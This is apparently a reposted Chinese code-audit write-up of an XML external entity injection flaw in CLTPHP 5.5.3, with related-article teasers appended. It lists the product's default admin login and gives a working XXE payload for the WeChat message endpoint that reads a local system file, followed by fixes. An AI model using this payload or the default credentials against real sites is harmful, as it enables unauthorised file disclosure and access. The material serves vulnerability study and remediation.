0x01 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/app/wchat/controller/Wchat.php第100-133行:

在这段代码中,用file_get_contents("php://input") 接收XML数据,然后带入simplexml_load_string函数中,导致程序在实现上存在XML外部实体注入。

接着往下看,如何去利用呢?

xml的解析结果返回给$postObj,进行条件判断,根据MsgType取值进入不同的回复机制中处理,当MsgType=text,进入MsgTypeText函数,跟进这个函数看看:

2、漏洞文件位置:/app/wchat/controller/Wchat.php 第141-172行:

这段函数进行消息回复处理,将获得$contentStr进行判断是否是数组,然后带入函数处理,最后返回结果。我们来看一下event_key_text函数:

3、漏洞文件位置:/extend/clt/WchatOauth.php 第155-171行:

通过sprintf函数返回6个节点,其中ToUserName、FromUserName可控,我们可以通过构造Payload,实现任意文件读取,攻击者可利用该漏洞获取网站敏感信息。

0x02 漏洞利用

1、 通过构造Paylod读取win.ini文件内容

Pauload:http://127.0.0.1/wchat/wchat/getMessage.html

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///C:/windows/win.ini" >]>
  3. <root><MsgType>text</MsgType> <ToUserName>&xxe; </ToUserName></root>

0x03 修复建议

方案一、使用开发语言提供的禁用外部实体的方法

PHP:libxml_disable_entity_loader(true);

方案二、过滤用户提交的XML数据 关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析的更多相关文章

  1. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  2. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  3. XML外部实体注入漏洞(XXE)

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  4. XXE(xml外部实体注入漏洞)

    实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...

  5. PHP xml 外部实体注入漏洞学习

    XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...

  6. 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞

    官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...

  7. 【研究】XML外部实体注入(XXE)

    在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...

  8. 【XXE学习】XML外部实体注入

    一.XML外部实体注入介绍 1.1 XXE简介 XML外部实体注入(XML External Entity Injection)也就是人们(mian shi guan )常说的XXE啦,见名知意,就是 ...

  9. XXE--XML外部实体注入漏洞

    XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...

随机推荐

  1. jQuery 时间控件推荐

    My97DatePicker  My97DatePicker是一个更全面,更人性化,并且速度一流的日期选择控件.具有强大的日期范围限制功能:自定义事件和丰富的API库:多语言支持和自定义皮肤支持:跨无 ...

  2. SQL Server默认1433端口修改方法

    SQL Server默认端口1433端口并不是十分的安全,需要将SQL Server默认端口进行更改,在更改之前,让我们先了解一下什么是1433端口. 什么是1433端口 1433端口,是SQL Se ...

  3. Should I expose synchronous wrappers for asynchronous methods?

    In a previous post Should I expose asynchronous wrappers for synchronous methods?, I discussed " ...

  4. VS下关于 _CRT_SECURE_NO_WARNINGS 问题的分析与解决

    一.问题的起因 六月下旬,老师布置了有关图形学的课设,于是我将我在VS2013中写好的代码进行编译,结果得到了以下信息: 二.解决方法 1,按照英文提示,我先将fopen改成了fopen_s后,发现错 ...

  5. SpringMVC系列(十四)Spring MVC的运行流程

    Spring MVC的运行流程图: 1.首先看能不能发送请求到Spring MVC的DispatcherServlet的url-pattern2.如果能发送请求,就看在Spring MVC中是否存在对 ...

  6. JDBC删除表实例

    在本教程将演示如何在JDBC应用程序中删除一个数据库表. 在执行以下示例之前,请确保您已经准备好以下操作: 具有数据库管理员权限,以在给定模式中删除数据库表. 要执行以下示例,需要用实际用户名和密码替 ...

  7. ubuntu安装phpVirtualBox web服务

    首先确保已经安装好了 virtualbox,打开了 vboxweb-service $ sudo ls /etc/init.d | grep vboxweb-service     然后, Insta ...

  8. C# 获取文件大小

    当然了都需要引入System.IO这个命名空间 第一个: public static long GetDirectoryLength(string dirPath){//判断给定的路径是否存在,如果不 ...

  9. CentOS6.5安装wine

    全程只有两个命令: $ yum install epel-release $ yum install wine 关于epel-release,说白了就是一个第三方软件源. 企业版 Linux 附加软件 ...

  10. 猫猫学iOS之小知识iOS启动动画_Launch Screen的运用

    猫猫分享,必须精品 原创文章.欢迎转载.转载请注明:翟乃玉的博客 地址:http://blog.csdn.net/u013357243? viewmode=contents 看下效果吧 比如新浪微博的 ...